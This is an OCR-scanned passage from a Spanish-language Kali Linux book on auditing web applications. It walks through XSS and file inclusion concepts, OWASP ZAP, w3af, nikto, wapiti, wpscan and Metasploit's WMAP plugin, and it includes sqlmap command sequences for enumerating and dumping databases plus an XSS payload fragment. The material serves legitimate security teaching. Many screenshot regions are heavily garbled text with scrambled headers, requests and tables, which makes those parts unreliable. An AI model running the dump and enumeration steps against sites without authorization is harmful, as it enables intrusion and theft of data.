informacion cuando abra una pdgina web determinada. Todo lo que podamos
programar en JavaScript, lo podremos aprovechar en XSS.

XSS hace uso de tags que pueden ejecutar cddigo. Son el caso de script, o
iframe. También se pueden emplear atributos que permitan ejecutar cddigo; como
behavior de STYLE de FK. DIV da mucho juego para el XSS; especialmente
porque a través de background-image: de un DIV podemos lanzar un algo como
url(javascript:eval(cddigo)).
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Finalmente AJAX permite introducir objetos XMLHttp a través de
vulnerabilidades XSS, que permiten enviar contenido POST o GET.

Los XSS se pueden descubrir mediante el uso de proxys inversos, si se trata
de cddigo HTML o JavaScript empotrado.

No entraremos en detalle en los XSS, aunque es una linea que recomiendo
para continuar aprendiendo después de la lectura de este libro.

7.3 INCLUSION DE ARCHIVOS LOCALES

La inclusion de archivos locales se hace explotando que una aplicacion
maneje ficheros a través de parametros sin filtrar. La operativa es andloga a la de
la inyeccidn SQL; pero en lugar de realizarla sobre pardmetros que se utilizardn
para montar un SQL, se utiliza sobre pardmetros que se emplearan para acceder a
archivos. Esto se utiliza para acceder a archivos locales; lo que a su vez se utiliza
para acceder en texto plano a archivos sensibles, como el archivo de configuracion
ddnde estd el usuario y la clave de la base de datos de la aplicacion web, por poner
un ejemplo.

Como en el caso de la inyeccién SQL, se puede hacer a través de cualquier
pardmetro que se pase por GET o por POST, formularios incluidos, asi como a través
de las cookies.

Existen otras técnicas parecidas; la Path Transversal, que empleamos un
truco distinto para extraer los ficheros, y la inclusion de ficheros remotos.

1.4 OWASP ZED ATTACK PROXY

OWASP Zed Attack Proxy es una herramienta de auditoria de sitios web
bastante popular. Mediante un interfaz bastante cdmodo y amigable, podemos
detectar las vulnerabilidades mds comunes. Ademds de escaners pasivos y activos,
entre otras funciones dispone de proxy inverso y fuzzing -alimentar a la aplicacion
web con datos extrafios, y ver como se comporta-.

Es una aplicacion muy fdcil de usar, que podemos lanzar desde el propio
interfaz. Lo primero que debemos hacer es lanzar la aplicacion en el desplegable
de arriba a la izquierda del interfaz de Kali, y tendremos la primera pantalla de
arranque:



© RA-MA Capitulo 7. AUDITORIAS A APLICACIONES WEB 161

-

Sesion sin Mombre - OWASP ZAP 260
Archive Editar Wer Analear Reports Herramientas Online Apuda
Modogssancer o) IS M A G 2@ DA OO A P IOXERE
| [ stioa ] 4 | [ wicia Rapide # | = Peticien | Respusstae | + |
LIRS o

- Bienvenido al OWASP Zed Attack Proxy (ZA

ZAP 25 una herramienta para pruebas de penetracion, de facil use y can miltples carrpone

Q9

¥ (5 contants
[ pefault Cortet
& Sitios
Tan en cuenta que 5o debes atacar aplicaciones pars |as cuales se ha sido praviamente :

Fara prokar una aplicacion rapidamente, introduzca la URL y presions 'Atacart,

| %" Atacar B Detenar

Frogresa: No iriciada
e J ]
st ‘.-T‘:\ Buscar T P plertas T |- salida | 4=
@ & 7 Filtrs APAGADG %
I |Reg. Tmestamp | Mét.. |UAL | Co..| Amasan | R. | SizeAesp... |HighestA..| M. | Tags |

Alertss M0 BD 0 @O Escanaa i-C-tI.Iil

En “URL a atacar” de “Inicio rdpido” tecleamos la direcciéon web cuya
seguridad queremos verificar, y pulsamos el boton de “Atacar’:

[Archwo Edtar yer Analzar Hapote Herramiertas Onling Ayuda
Modowstinder =) | | @ilm - & A" DEE DOOD & .

S roRiEmhm w

Ssitias] + | 4 lnicio Bapid ] =+ Poticion | Respunstare | % |
@ CJE1lT I
(v S corteots | Blenvenido al OWASP Zed Attack Proxy (ZAP)
| nl;-.t'sx”'t Contax ZAF @5 una harramuenta para prusbas de penetracion, dea facl usa y con miltiples componantes. p
Lt 5

Ter en cugnta que slo debes atacar aplcaciones para las cuales ga ka sido previaments auteriza
Para probar una aplicaién régidamente, Introduzca la URL ¥ presians “Atacar,

LIRL & akaear: | Btpifrwew, Groare.org
F sacei Ll Detener
Progreso; Enplizrarda [atocarda} acthomenlo lios URLS descubdertes por ol “apddee

Fara un andlisls més en profundidad de |a prueba se debe explerar la aplicackn mediante pruebas

Siusted estd usando Frefox 24.0 o superior puede wsar PlignHack’ para configurar su navegade!
| | [a% — - ——— i
| == Histana | = Buscar | M8 Alertas | | - sabda | % SpideriAraria) Lmﬁmgqm

B8 ) MawScan Progress | 0: hitputwww.orcero.org x| (0 | B8 [l 1%
10 | Req TIMeStamp | Resp. TIMGEtang | MACo... | URL

| o Escaner attuali 1 | MU requests: 7
(GO, |Reason | RIT| Ske Resp, Hea...

| Stre Rasp. Fo... |

36 15/04/16 1845, 1504718 18:4%... GET hitpffarss.orcro.ongBS0TS0BI0IL TEAG... 404 Mot Fou.. 1. 134 bytes 345 byles
38 19/04/16 18:4%... 1504/18 18:4%... GET hitp:feww orooro.orgidaniel/331 7442340, 200 OK 1. 288 byies 42,51 kiR
39 19/04f1618:49... 1%04/18 18:4%... GET hitp:fwwn oroero.org/danicl/ 3030408384, 200 OK B. 398 byles 42,51 kiR
4l 19/04f16 | 849, 150418 184k, GET hitpyfwaw oromro.orgiranyd9943478797... 404 Mot Fou., T.. 134 byos 345 bytes
43 15/04/16 18:45... 1%04/18 18:4%... GET hitp:ffersn orcoro.orgrbis 2844 DEGTIA... 404 Mot Fou... 3. 134 bytes 245 bytes
4% 19704716 1845, 16/04/15 18:4%.,. GET LEpe/farme, or oo o org! 200 K E.. 141 byes 19908

48 150416 18:4%... 1%04/18 18:4%... GET hittp:ffevsen. orceraorgrabiots. et/ 200 aK 1. NShytes 480 bytes
47 L0410 1845, 150410 18.45.... GET Filbp:fiwen or oo org siemap, sml 404 Mol Fou.. B 134 byies 343 bytes

Alertas FE0 1 @3 @0

Pulsado el botdn, comenzard a actuar como un web crawler, a descargar
pdginas y a ir buscando potenciales problemas de seguridad. En cualquier
momento podemos seleccionar la lengueta inferior “Alertas”, y tendremos todas las
vulnerabilidades encontradas, organizadas por severidad y por tipo de vulnerabilidad:
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Si pulsamos en una vulnerabilidad concreta, obtendremos donde estd
exactamente la vunerabilidad; asi como una descripcion de la vulnerabilidad, la
gravedad de esta, y la probabilidad de que sea explotada:
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Ademds, seleccionando la vulnerabilidad en concreto, podemos ver el cddigo
Web que produce la susodicha vulnerabilidad:
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Si pulsamos dos veces encima de una vulnerabilidad obtenemos una
descripcion detallada de la vulnerabilidad, la documentacidén de cémo se ataca, y una
propuesta de cdmo se puede solucionar el problema. Toda esta informacion serd critica,

ya que nos va a permitir redactar un buen informe de auditoria con gran facilidad:
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Vemos el resultado de la auditoria de seguridad a una tienda Woo-commerce
-realizado con el permiso del propietario de la tienda y del administrador de sistemas-:
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ther zessien hijacking may be passible.

iy e

- A+ | otra imfo:

Alartas BD Bl £5 RO

Escansc achual @0 o h o Qo #1 o :{lﬁ;
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Vemos otra alerta de la misma tienda:

r
archha Editar Wer Analzar Reparte Herramientas: Online dyuda
| Mode estandar UESEw 64 008 00 D00k &k b QXEH-&E

| [ siios | + | [ & inicio Rspide | = Fetician | Respusstas | & |

@RES [Header: vista Rew %] |Cuerporvista Raw =] [0 O]
¥ (5 Contents [HTTF/L.L 200 0K .
¥ pefault Cartat K-Fowered-By: PHEAS. 4, 45-+debiuz
» @ Msitios |Expires: Wed, 11 Jan 1584 05:00:00 GMT
|cache-control: na-cache, sust-revalidate, max-age-0
|Pragna: no-cache
|Content-Type: text/htal; g - g
-PLrghback: hrtp:f!tlendaw.esfanlrpc.php
-Frape-Dntions: S
i %j’ﬂ!?—.ﬁ"ﬂ hitps: //api L
| =p class="form-row forp-row-wide'= la
| =label for="usernams’=fonbre de Usuario o correc electrdnico <span
clazs="required s*</span></label>
| <input typea"text* class-"input-text® name="username® 1d-"usermane’
|velug="* s> T
=/p= 3
< rlass="fars-row forn-row-wide's
=label for-"passwerd®sContrasefis <span ¢lass-"required st apanse/
|Labels
L - il | Lass=" *ide v
[ = Histena ]'%Buacar mm | Galida 1 % spideriarafia) T ¥ Escan=o Active
@ @ |Riesgn; i Lo I
;‘& Aertas (5) E_conﬁ.dan:e; Medium
Pardmetro:  jrput i
* [ P -Frame-Options Header Mot Sat (739) ;Atfiqﬂm:
* [l P Cookia set without HttpOnly flag (6171 |.Ev|danclia; <Input class="input-text® type="g d* name="p rd" ld="p d =
+ [l W Crozs Domain JavaScript Source File Imclusion (4150 | \owe b 525

*fi A At ) wasCID: - ©
Lg ﬁF" wab Browser ¥55 Fratection Mot Enakled (7443 | Descripeidn:

* [l P % -Cortent-Type-Options Headar Missing (744)

ALTOCOMPLETE attribute ig not disabled in HTML FORMANPUT elemert centaining
password type Input. Passwords may be stored in browsers and retrieved,

LS vl | otrainfe: : -
Alertas M0 &1 A5 BO Escanen actual o o a o 1 -0 %o

Y finalmente una alerta de riesgo alto:

[ archive Editar Wer Analizar Beporte Herramientas Online fuda

Mndoe!:épdara LQ.Mﬂ%}:iJQEQEBJG‘u’."'gxﬁ‘.-
W [ & inicio Répids | = paticién [ 5 [

@nEsE |Header. vista Raw [¥] | cuerpovista Raw =] T 0]

¥ 5l Contexts
[E] Default Context
= @ ®sities

|HTTF/L.1 200 UK

-Powered-Hy . FHEFS. 4. 45-D4deb7ud

ortent-Type: text/hiile charset-UTF-8

ink: <http:/fftienda. a8 fup-Jsongs; rel="https: frapl w.oarg/"
ate: Wed, 27 Apr 2006 1B:15:38 GMT

erver: lighttpds1.4.31

I's-:f.sc.dprs

|=link rel="style " hraf="

inrrp:f}tzmﬁ. enfu-camtent,/ thamesyzerl f- litascas/ie, cog® typea"Tent/ose"s
| =r[endif]--»

| <gcript type="text/javascript”>document. docurentElenent.classiiane =
ncunent . decunentElanent, classNane + ° yes-js j5_active 15 </scripts

dos de bosqueda para SES020; BeR221: EREZIL: Pagina 2 SBELL:
| Ffitles

@@ = = |confidar
{+] ance:
(& alertas (7) Pardmetro; 3

L ﬁ'n Directory Traversal raque;
p nda 26 .phip Evidencia:

CWE ID: 22
i : 1“_.!'&5! 10 33
| POST: hitt ? ] || Bescripeian:

| POST: http:/itiends
* [ ™ x-Frame-Dptions Headar Not Sat (7500
» [ © Cookie set without HttpOnly flag (721)
* [ o Cregs-Domain JavaSerpt Source File Inclusion (421

The Path Traversal attack technique allows an attacker access to files, directones,

and commands that potentially reside outsida the web decument root directory, An
attackar may manipulate a URL in such @ way that tha wekb site will execute or raveal
the conterts of arbrary files anvehers on the wek sanver, Ary device that =mozes (T ]

Bira infa:

Alertas W1 fe1 [u5 Ro Escanen actual
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O el detalle de otra de riesgo alto:

r Spridn sinblambes o INIAOAT 01 RARL T MUKINEE TAD 20 2 g x|
Archiva Editar Wer Analizar Beporte Hamamientas g- Editar Alerta 0
[Modo estander | | ] (2 0w o 3R O HE "ralla porin:_,-gcmgn'sm EJ _f" &

| [ sitios | 4 | LAL: et p: it D5 o982
@ Q= Riesgo: | High =)
¥ 5 contensts Cenfiderce: | Medium :J

& Default Context e = )
* @ M Sitios . 3
AtEgue: 98-z
Evdencia:
CWE [D: | 89 [3]
WASE 1D: { 19 l—E
Cescnpeidn:

Inyeccion SGL puade ser posible,

otra info:
bt

Pl Y

El valor de paramestro gue estd modficado fus NOT
[ [T I’L‘-‘ BusfarTﬂ m?m"‘:l || Salida I % eliminado de |a salids HTML pars [os fines de la
- b s i 3

@ e

COMpaEracion

Selucitn:

Ne conffe en Ioa valores de entrada del lada del cllents, &

incluso sl en el lado del cliente se realice una valldacién.
En general, comprobar todos los datos de entrado en el [
T e

vy

= Ref i3

® i /' ¥-Frame-Options Header ot Set (750) srencE

» [ % Cookie set without HitpOnly flag (721) https: ffweaw. oiva s p, orgfindes phpTop_10_2010-a1 '.'.

4 ﬁ'lr'- Cross-Domain Javascript Source Fila Inclusion s : = ' &

[ [l d awt

! asswer ocomplate I.n browser [2] L Cancelar L Guardar
» h v Web Browser ¥5S Protection et Enabled (7557 ™
ELS —] |l
Alartas B2 @1 @B5 RO Escanen actual

En “Otra info” tenemos una explicacion bastante amplia de como se ha
validado la vulnerabilidad, y en “Solucién” tenemos una explicacion bastante
detallada de cdmo solucionar el problema.

Realmente la mayor parte de las auditorias web las podemos realizar con
esta herramienta. Funciona muy bien, y nos provee de muchisima informacidn que
nos permite redactar un buen informe justificado; ya que incluye aspectos como
enlaces, e identificadores CWE y WASC que nos permiten identificar y referenciar
exactamente la vulnerabilidad a la bibliografia existente. Si nos tenemos que quedar
solo con una herramienta, serd con esta.

1.5 W3AF

w3af es una herramienta enfocada a auditar y explotar las vulnerabilidades
web. Es conceptualmente bastante parecida a ZAProxy. Decimos el sitio web -
bloque derecho— y las vunerabilidades que queremos verificar —bloque izquierdo—:



166  KALI LINUX © RA-MA

-

w3af - Web Application Attack and Audit Framework (- N -]

Perfiles Fditar Ver Herramientas Configuracion  Ayuda
|8 G » n 8| B E K 0O o = )
Configuracion del analisis | q  Rosu Exploit
Profiles Target: | htip:/frarget.example/ B lniciar | = |

Active Plugin
OWASF_TOP1Q sl | audit
audit_high_risk =] suth
bruteforce | bruteforce
fast_scan 0 crawl
full_audit # 1) evasion
full_audit_spider_man 5 [ arep
e ¥ O infrastructure
web_infrastructure 1 &

3 W L k This is an empty profile that you can use

to start a new configuration from.
Active Plugin
7[E  output

Y nos da un informe de lo encontrado:

i waaf—tlendb 00

Perflies  Editar Voo Herramientas Conflguracion  Ayuda
H |00, @ uw & |E B KO0 a = o

Configuracion del anilisis Log Resultados Explolt

KB Browser URLs Request/Response navigator
' Vulnerabilty " Information

] Summary Description

Knowledge Base The whole target has no protection {(X-Frame-Options header) against Click-Jacking attacks, This vulnerability was
= click_jacking {1) [found in the request with id 18.
click_jacking (1]

vulne rabdity

Request  Response

Raw Headers
POST http:Ntif-)ndws2’%’k?5P‘MS‘ESGG%EC%?SF‘%%%aS%SB%?SFF?BQ%
UFFS%32%% 7546 %3 635%hT SHAE PR3 3 TUBAa%I6%3 1 1 HUFF 24%UF%4650%%46F%

3 2e%utd 6% E% 3 3% 3 O T SR B AR %5 B T S P %4 6% 3 3% 34 % LA BF 2% 3 5% L4 5% 4 65%3 1 W7 S A6%4 65%
%IRRT EF a2 4atfe/ BFF L3487 S 4 6 20% % /0 FFe34 byl 6 2%3 3%% 7 SF4 6% 3 4%5 2%
TSFFA%E4%UA B4 M7 EFF %3 LY 30%UFF 2 0% 754 6P 35% 3 3%% 7 SFFS SRuFF3 T3 3% TSP %46%
F3455 U B B3 00%5 0B 7 S a6 % A FR 3 0ebURd BF - 1%32%% TSR %46 - 531 1587 5%46%46%30%5 5%
SC%%7SFFEREEREC LTI 1=dYUGvERd HTTR/1.1

Content-length: 5

Accept-encoding: gzip, deflate

I-forwarded-for: 81 .69 .54 240

Accept: */*

User-agent: w3af.org

Hast: tiend*s
Content-type: applicatian/x-www-Torm-urlencodad

[ ——
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A diferencia de ZAProxy, que es exclusivamente de auditoria, w3af trae un
conjunto de exploits que podemos validar contra una vulnerabilidad encontrada:

[ waf - tiend (SN © 0 o)
Perfiles F010 Wer Heramlentas Configuracion Ayuda
WP 0 oa n & | HE g 0 o -4 s
Configuracion del anilisis Log Resultados Exploit
Exploits Vulnerabilities l Shells
daw Click-Jacking vulnerability
file_upload
local _file _reader

oz_commanding

rfi
sglmap
wpath
.3
eval
The Froxies' functionality
This plugin exploits eval() vulnerabilities and re will be Implemented
in the future.
This plugins has no options te configure
» ’ + Add...
i 1l &0

He de confesar que realmente w3af no me gusta. Es mds engorrosa de utilizar
que ZAProxy, detecta menos vulnerabilidades, y las que detecta las documenta mal.
La sensacion con ZAProxy es que te hace todo el trabajo pedestre de una auditoria de
seguridad de una aplicacién web; mientras que w3af no deja de ser un scan y exploit
con interfaz grafico. Sin embargo, es bastante popular, por lo que la comentamos en
este libro.

1.6 NIKTO

nikto -h servidor

Donde servidor es el nombre del servidor que queremos analizar.
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Por ejemplo, si queremos analizar el sistema www.peritoeninformatica.pr
haremos:

nikto -h www.peritoeninformatica.pro

Obteniendo:

e user agent to protect against some far

agent te render the content of the sit

1.7 SQLMAP

sqlmap es una aplicacion que realiza tests de penetracion en sistemas web
via inyecciones SQL. Los pardmetros de uso son:

P -u URL: pdgina web objetivo.

P -p: pardmetro vulnerable.

P -dbs: muestra el nombre de todas las bases de datos.
| 4

-D: selecciona el nombre de la base de datos a la que queremos hacer las
consultas.

A

-tables: muestra el nombre de las tablas en la base de datos seleccionada.

N

-T: muestra el nombre de la tabla en la que se realizardn las consultas.

P -columns: muestra el nombre de las columnas de la tabla seleccionada.
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V' -dump: extrae los datos de la tabla seleccionada a un fichero CSV.

P -dbms: permite seleccionar el sistema gestor de bases de datos, si es
conocido.

Es una aplicacion que, de usarla, no la vamos a usar en una unica ronda. Lo
normal es utilizarla primero con la sintaxis:

sqlmap -u URL
Donde URL es la URL que estamos analizando.

En base a la informacion de sqlmap y de ZAProxy, el siguiente paso es ir
tanteando parametros vulnerables con -p -0 directamente utilizdndolos, si ZAProxy
ya nos ha dado uno-:

sqlmap -u URL -p parametrovulnerable
Una vez que damos con un parametro vulnerable, hacemos:
sqlmap -u URL -p pardmetrovulnerable --dbs

Para obtener todas las bases de datos que estdn en un sistema gestor de
base de datos concreto. Ojo, a veces la autodeteccion de base de datos no va fina,
y debemos especificar manualmente con -dbms el sistema gestor de base de datos
sobre el que queremos consultar las bases de datos disponibles.

Teniendo la base de datos, hacemos:

sqlmap -u URL -p parametrovulnerable -D basededatos --
tables

Y obtendremos todas las tablas de esa base de datos.

Seleccionamos la tabla que queremos, y obtenemos sus campos con:

sqlmap -u URL -p parametrovulnerable -D basededatos --
columns

O si queremos un volcado del contenido de la tabla, almacenado en un
fichero CSV, hacemos:

sqlmap -u URL -p pardmetrovulnerable -D basededatos --dump

Un ejemplo de la salida de sqlmap es:
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{1.0.4.08dev}

sqlma

“. Do you want to Tollow? [Y/n] y

[WARNING] GE = A id i I ppea ynam
58] [WARNING] heuristic (basic) test shows that GET parameter "id' might not be injectable

i

Wapiti es un potente escaner de vunerabilidades que identifica los siguientes
errores:

» XSS

P Inyecciones de base de datos (Inyeccion SQL, XPATH y PHP, JSP y ASP)
P Inyecciéon LDAP

W Errores en la gesion de ficheros —fopen, readfile, include—

P Deteccidn de ejecucion de comandos -eval, system, passtru-

P Inyeccion CRLF —fijacion de sesion, HTTP RS-

Wapiti puede ser sensiblemente lento en webs muy grandes, como instalaciones
funcionales de Woocommerce. Pero aun asi, es bastante interesante su uso.

La forma bdsica de usarla es:

wapiti dominio
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Donde dominio es el dominio que queremos analizar. Por ejemplo, si hacemos:

wapiti www.orcero.org

Obtenemos:

nod backup,. med htace

El informe generado se guarda en el directorio .wapiti/generated repo
del SHOME del usuario que empleemos; en el caso del usuario empleado en este
ejemplo -root- seria /root/.wapiti/generated report. Estd en formato HTML, y se ve
con un navegador. Por ejemplo el del caso anterior seria:

Wapiti scan report - lceweasel 000
Wapiti scan repaort X\ ¥
file:{{irootf wapiti/generated_report/index. html 23| A v AR =
[ Mast Visited  [JllOffensive Securty W Kall Linux " Kali Docs S Kali Teals nEl:pliit 08 W Alrerack-ng
Wapiti vulnerability report for www.orcero.org
Date of the scan: Thu, 21 Apr 2016 14:28:46 +0000. Scope of the web scanner : foldel
Summary
Category Humber of vulnerabilities found
Fizhera de backup ]
Crazs She Seriping a
Inyeccion SQL aciegas Q
Bypass de Hiaroess a | 8
Inyeceldn SGL [1]
Fichiera palencialments peligroson a
Manejn de fichera Q
Ejecucian de comandas fl
CRELF Injction Q
Errar inteme dal sanicor a
COMSUIS 8 repursos a
b A
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1.9 WPSCAN

En principio, no podemos entrar aplicacion a aplicacion en lo que se emplea
para cada posible sistema Web del mercado por restricciones de tiempo. Pero como
el Wordpress es tan frecuente, haremos una excepcion con este, y hablaremos del
wpscan.

Wpscan es un escaner de plugins, temas y vulnerabilidades de ambos para
Wordpress -por lo tanto, también de Woocommerce-, que es bastante potente y
sencillo de usar. Su sintaxis bdsica es:

wpscan --url dominio

Donde dominio es el dominio que queremos analizar. Un ejemplo real de
salida de wpscan es:
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=h agency buslness,corporate b

Como vemos, tenemos informacion de todos los plugins y temas instalados,
de sus versiones y ubicacidn, asi como de los que no estdn actualizados; lo que
va a dar mucho juego para explotar las vulnerabilidades de aquellos que estén
desactualizados. Podemos también obtener listados de algunos aspectos de
instalaciones de Wordpress y de Woo-commerce, tales como el listado de usuarios
dados de alta o de los plugins vulnerables, 1o que haremos con:

wpscan --url dominio --enumerate

Obteniendo algo como:
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WordFrass Security Scann
Version
Sponsored by Sucuri 1
@_WPScan_, @ethicalhack3r, @erwan_Lr,

UEL: hitp: /e
Started: Fri Apr 22 @7:23:

The WordPress 'http:s i L - ist xposing waersian number
Full Path Discl 7 in 'F HOF L fp 4 =l 15.php "

[nteresting hea

Interasting heade

Interasting header: X-POWERED-BY: FHE 1,45 -A+dakbiu

¥ML-FPC Interface a\ Sxmlrpe . php

Press version 4.4.2 identified from meta generatar

theme in use:! zerif-lite v1.8.4.0

e YWp -contentsther
tip Jwp-content st
URL: http://f
MName: Zerif Lite
I: http://t

P

ption: Zeri

thor: ThamaIsle
\wthar URI: http://themeisle .com

Erumerat Elng installed plL S LoT I‘: one
DG :01:24 ====

No plugins found

Erumerating

Time: 0Q;00:21

Mo themes found

Erumerating timthumb files

No timthumb files feound

Enumerating usarnames . _.

. 227.465 MB
G5 204 =46
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Vemos un listado de los usuarios, que el sitio auin se usa el usuario
administrativo admin, y un listado de temas desactualizados, plugins desactualizados
y scripts TimThumb.

1.10 OTRAS APLICACIONES

Hay muchas mds aplicaciones en las que no hemos entrado por las
limitaciones de espacio del libro. Estas son:

P De base de datos:

e bbsql
e sqglinja
e sqlsus
P De identificacion de CMS:

e blindElephant
e plecost

P De identificacion de IDS:

e la-tester

P Indexadores web:

e dirb
e dirbbuster
e webscarab






8.1 CONCEPTOS PREVIOS

El primer concepto clave es el de Exploit. Un exploit es un cddigo que
aprovecha un agujero de seguridad preexistente, con objeto de ejecutar una serie de
ordenes para las que en teoria no se deberia tener privilegio de ejecucion en absoluto,
0 sobre unos datos en concreto.

A este cddigo que se quiere ejecutar, y que no deberia poder ejecutarse, se le
denomina payload. El payload puede ser algo tan sencillo como un shell conectado a
puerto, con objeto de poder ejecutar programas locales desde una mdquina remota, o
codigo que haga operaciones mas complejas y especificas del sistema, como cambiar
los pardmetros de una mdquina de control numerico para que las piezas conformadas
salgan con errores pequenos, pero percibibles por el cliente.

Es importante entender que poder ejecutar cddigo desde un programa no
supone necesariamente que la aplicacion sea un programa. Por ejemplo, si hacemos
un programa que ejecute cdigo arbitrario como root, pero que requiera privilegios
de root y lanzarse desde la consola de root... pues nos pongamos como nos pongamos,
no es un exploit. Que sea exploit no viene determinado porque el cédigo ejecutado
sea bueno o malo, sino porque permita hacer cosas que no son posibles al nivel de
privilegios al que se lanza el exploit.

El exploit puede ser local o remoto. Un exploit local es aquel en el que hay
que tener una cuenta valida en la mdquina para poder lanzarlo con €xito. Un exploit
remoto es aquel en el que no hace falta una cuenta vdlida en la mdquina, y se puede
lanzar desde otra mdquina.



178  KALI LINUX © RA-MA

Es frecuente encadenar exploits: primero utilizamos un exploit remoto, que
puede que nos dé solo un acceso limitado y precario a la mdquina remota, para
después utilizar un sequndo exploit que nos permita escalar a root.

Hay muchisimos exploits conocidos y documentados; y que por alguna
razon inquietante, auin funcionan. Son frecuentes los sistemas mal disefiados, mal
mantenidos, o simplemente que no han tenido nunca la seguridad en mente. Esos
exploits funcionan contra esos sistemas, pero no pueden ser habitualmente utilizados
contra un sistema bien mantenido. Sin embargo, también existen 0-day exploits:
corresponden con exploits que atin no son conocidos por la comunidad de seguridad
informdtica. Debemos de tener en cuenta que desde que se encuentra un problema
de seqguridad -que no tiene porqué ser explotable, es decir, que puede que aunque
tedricamente sea posible utilizarlo, en la practica su uso no sea posible-.

8.2 QUE ES METASPLOIT

Metasploit es un framework para pentesting; es decir, es un entorno que
incluye herramientas para cubrir todo el proceso de auditoria proactiva de seguridad
del sistema.

Metasploit tiene fama de ser complejo de usar. La razén de que genere
esa impresion es que no tiene un bonito menud desplegable, y muchos botoncitos
para hacer cosas. Metasploit no estd pensado para que alguien que no sabe se crea
que sepa. Metasploit tiene como objetivo que alguien que sabe, pueda utilizar la
herramienta sin problemas y pueda hacer todas las tareas de auditoria desde el propio
programa. De hecho, muchas de las tareas que hemos visto en este libro que se
pueden hacer con otras utilidades también se pueden hacer con Metasploit.

Desgraciadamente, por limitaciones de espacio no podemos entrar en detalle
el estudio de Metasploit: solo Metasploit ya exigiria un libro el doble de largo que
este. Pero si veremos la potencia de Metasploit a través de un caso practico.

8.3 PARTES DE METASPLOIT

Metasploit no es realmente un programa, sino una suite completa que
incluye una base de datos de exploits y de payloads que se pueden utilizar como
prueba de concepto, y una serie de utilidades para aplicarlos. Algunos son sencillos.
Otros, como el payload Meterpreter, son muy potentes y complejos, y practicamente
requeririan un libro solo para estudiar ese payload en concreto.
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Las utilidades mds importantes de Metasploit son:

P msfconsole: Consola de linea de comandos para ejecutar mddulos y
mandar ordenes a Metasploit.

P msfgui: Interfaz grafico, con funcionalidad equivalente a la consola
msfconsole.

¥ msfd: Daemon de Metasploit, que permite lanzar las drdenes a Metasploit
desde una mdquina remota.

P msfcli: Utilidad para lanzar mdédulos.

P msfupdate: Actualiza la base de datos de exploits, los mddulos y la
funcionalidad de Metasploit.

P msfhinscan: Auditoria dentro de ejecutables. Busqueda de instrucciones
de salto y sobre la pila.

P msfpayload: Auditoria dentro de ejecutables. Generacion de shell-
codes en varios lenguajes de programacion. Generacion de shell-codes
empotradas en ejecutables de varios sabores de Unix y versiones de
Windows.

P msfencode: Auditoria dentro de ejecutables. Ofusca el cddigo de la
shellcode contra antivirus y sistemas IDS.

P msfvenom: Implementa la funcionalidad de las utilidades ya comentadas
msfpayload y msfencode.

P msfpescan: Auditoria dentro de ejecutables. Andlisis de las DLL, y
generacion de direcciones de retorno para las shellcode.

Nos vamos a centrar en el uso de Metasploit desde linea de comandos con

msfconsole. Eso no significa que sea la tinica forma posible de utilizar Metasploit: se
puede utilizar desde msfqui, y existen aplicaciones como Armitage que no veremos

en este

libro, pero que se integran con Metasploit y sirven de interfaz grafico de

msfconsole:
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Armitage -MoN -]

total he

port 11
port
port
port

= e | b (] el T y

Attacks

Mensaje

Attack Analysis Complete..

¥ou will now gea an 'Atcack' menu attachad
te sach hast in tha Tangats window,

= - ] 1 Happy hurting! F

||'|'ir'i.=1Tir|i] NSE & i Aceptar

HSE at

total has

map
Hmap

remaining )
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Aplicaclones Lugares * ; armitage-ArmitageMain «
Armitage

Armmitage View Hosts Attacks Workspaces Help

8.4 UN CASO DE EJEMPLO - BUSQUEDA DE VULNERABILIDADES

Vamos a comenzar viendo un ejemplo basado en buscar las vulnerabilidades
de un sitio con Wordpress.

Lo primero que debemos es, desde linea de comandos, inicializar la base de
datos de Metasploit. Para ello, primero arrancamos PostgreSQL.:

service postgresql start
Inicializamos la informacion de plugins y la creacidn de las tablas de
Metasploit en PostgreSQL -esto hay que hacerlo solo una vez-:
msfdb init

Y arrancamos el daemon de Metasploit:

msfdb start
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La base de datos de Metasploit solo hay que inicializarla una tnica vez. El
daemon de PostgreSQL y el daemon de Metasploit deben estar arrancados cada vez
que vayamos a usar Metasploit —o lo configuramos para que arranquen al inicializar
el runlevel, o tendremos que levantar a mano ambos cada vez que reiniciemos la
mdquina-. La salida de esto debe ser algo como:

:~# service postaresqgl start
~# msfdb init

g configuration file in fusr/share/metasploit-framework/config/database.ymnl

Creating initial database schema
:~# msTdb start

Arrancamos la consola de Metasploit con:

msfconsole

Debemos obtener una pantalla como:
:~# msfconsole

IITITX
I1
1I
11
1T

ITIIIII

I love shells --egypt

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

[ 16 ploits - 946 auxiliary - 293 post
--=[ 486 payloads - 40 encoders - 9 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

JL

Es relativamente frecuente entre los novatos olvidarse de tener arrancado
el daemon de Metasploit o PostgreSQL; en cuyo caso, el arranque serd algo como:
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ity Interface

ON DEMNIED.
ecurity grid
=1 PERI ON DENIED.
= access main security grid
: PERI ON DENIED ... .and. ..

En lugar de “cascar” aparece esta pantalla. La mayor parte de lo que
hiciéramos a partir de aqui no va a funcionar.

Suponemos que lo hemos hecho bien, y hemos arrancado el daemon de
Metasploit y PostgreSQL con las tablas creadas. El siguiente paso que daremos
sera cargar un plugin de busqueda de vulnerabilidades. Un buen ejemplo de
plugin de busqueda de vulnerabilidades es WMAP, especializado en busqueda de
vulnerabilidades Web, creado a partir del SQLmap. Para comenzar a utilizarlo,
podremos hacer:

load wmap

Resultando en:
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Hemos cargado el plugin correctamente. Ahora damos de alta aquellos sitios
que queremos verificar. Esto lo hacemos con:

wmap_sites -a objetivo

Donde objetivo corresponde con el servidor objetivo del andlisis. Por
ejemplo, si queremos analizar la web de la mdquina 192.168.2.20, hacemos:

wmap_sites -a http://192.168.2.20

Obteniendo:

mst > wmap_sites //192.168.2.20

[*] Site created.

Debemos listar los objetivos, para verificar que se ha anadido de forma
correcta, lo que hacemos con:

wmap_sites -l

Obteniendo:

Lo siguiente es, de entre los sitios que hemos dado de alta, seleccionar aquel
sobre el que queremos realizar las pruebas. Esto lo hacemos con:

wmap_targets -d identificador

Donde identificador corresponde con el identificador de la maquina sobre la
que queremos hacer el ataque. Por ejemplo, podemos hacer:

También podemos indicar que haremos las pruebas sobre un directorio
concreto, en lugar de sobre el raiz del servidor dado de alta; lo que hariamos con:

wmap_targets -t webconruta

Donde webconruta corresponde con la direccién web, con el http:// y 1a ruta
completa de la web que queremos analizar.
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Por ejemplo, podemos hacer:
wmap_targets -t http://192.168.2.20/miblog

Podemos listar los objetivos que tenemos marcados con:

wmap_targets -|

Que daria como salida:

Una vez que tenemos registrado dénde haremos las pruebas, podemos listar
las pruebas que vamos a hacer con:
